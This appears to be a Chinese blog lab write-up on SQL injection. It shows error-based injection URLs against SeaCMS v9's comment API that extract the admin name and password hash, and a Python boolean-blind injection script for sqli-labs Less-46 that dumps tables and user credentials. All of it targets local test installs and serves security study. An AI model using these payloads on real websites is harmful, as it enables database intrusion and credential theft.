一、seacmsv9 SQL注入
1、seacms漏洞
海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,seacmsv9漏洞文件:./comment/api/index.php,漏洞参数:$rlist
2、漏洞绕过
了解到seacms是开源,可以知道seacmsv9系统数据库存放管理员账号的表为sea_admin,存放管理员姓名字段为name,存放密码字段为password
3、经过分析,使用一下注入语句:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @'
并没注入成功,无回显
接下来在数据库中测试
通过注入
输入:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@\', updatexml(1,concat_ws(0x20,0x5c,(select name from#sea_admin limit 0,1)),1), @\') ORDER BY id DESC;
没用通过报错报出管理员名字
然后改为database(),继续输入命令
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@\', updatexml(1,concat_ws(0x20,0x5c,(select database()#)),1), @\') ORDER BY id DESC;
发现报错爆出数据库名字
查找原因发现sea_comment内为空,无法回显
同样我们再网页中进行报错注入
输入:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@%27
报错注入出数据库用户名
输入:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@%27
报错注入数据库名
注入管理员账号密码同样也是无回显
原因也是sea_comment内为空,无法回显
原因:
①数据依赖性:updatexml函数的报错注入通常是通过构造恶意的XPath表达式,使其产生错误并泄露部分信息,如果注入点的逻辑要求从sea_comment表中读取数据以构建这个恶意的XPath表达式,那么当sea_comment为空时,就无法构造出有效的报错语句;
②只有当注入的数据被存储到这个表中时,才会在页面上看到结果。可能会尝试先向sea_comment表插入一条或多条测试数据,然后观察是否能触发期望的updatexml报错;
③插入两条数据到sea_comment表可能是为了创建必要的条件,以便后续能够成功实施XPath注入攻击。
④有几个潜在原因,触发特定逻辑、构造恶意XPath表达式、绕过安全机制、验证注入成功与否、数据关联性
需要插入数据
输入:
INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)
-> VALUES
-> (1, 100, 1, 'user1', '192.168.1.1', 1, UNIX_TIMESTAMP(), 'This is a comment', 1, 0, 0, 0, 'image1.jpg', 10),
-> (2, 101, 2, 'user2', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'This is another comment', 2, 0, 0, 0, 'image2.jpg', 5);
然后再次报错注入,就发现可以注入出管理员账号密码
注入账号:
输入:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @'
注入密码:
输入:
http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @'
最后再通过md5转换出密码
二、Order by
环境:sqlilabs-less-46关
1、sort传入id
2、sort传入username
sort前面是order by,通过sort传入的字段排序
3、boolen盲注
用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup爬取表格中username下一格的 值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔) 注入,具体代码如下
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if __name__ == '__main__':
# inject_database_boolen()
# inject_table_boolen()
# inject_column_boolen()
# inject_data_boolen()

2259

被折叠的 条评论
为什么被折叠?



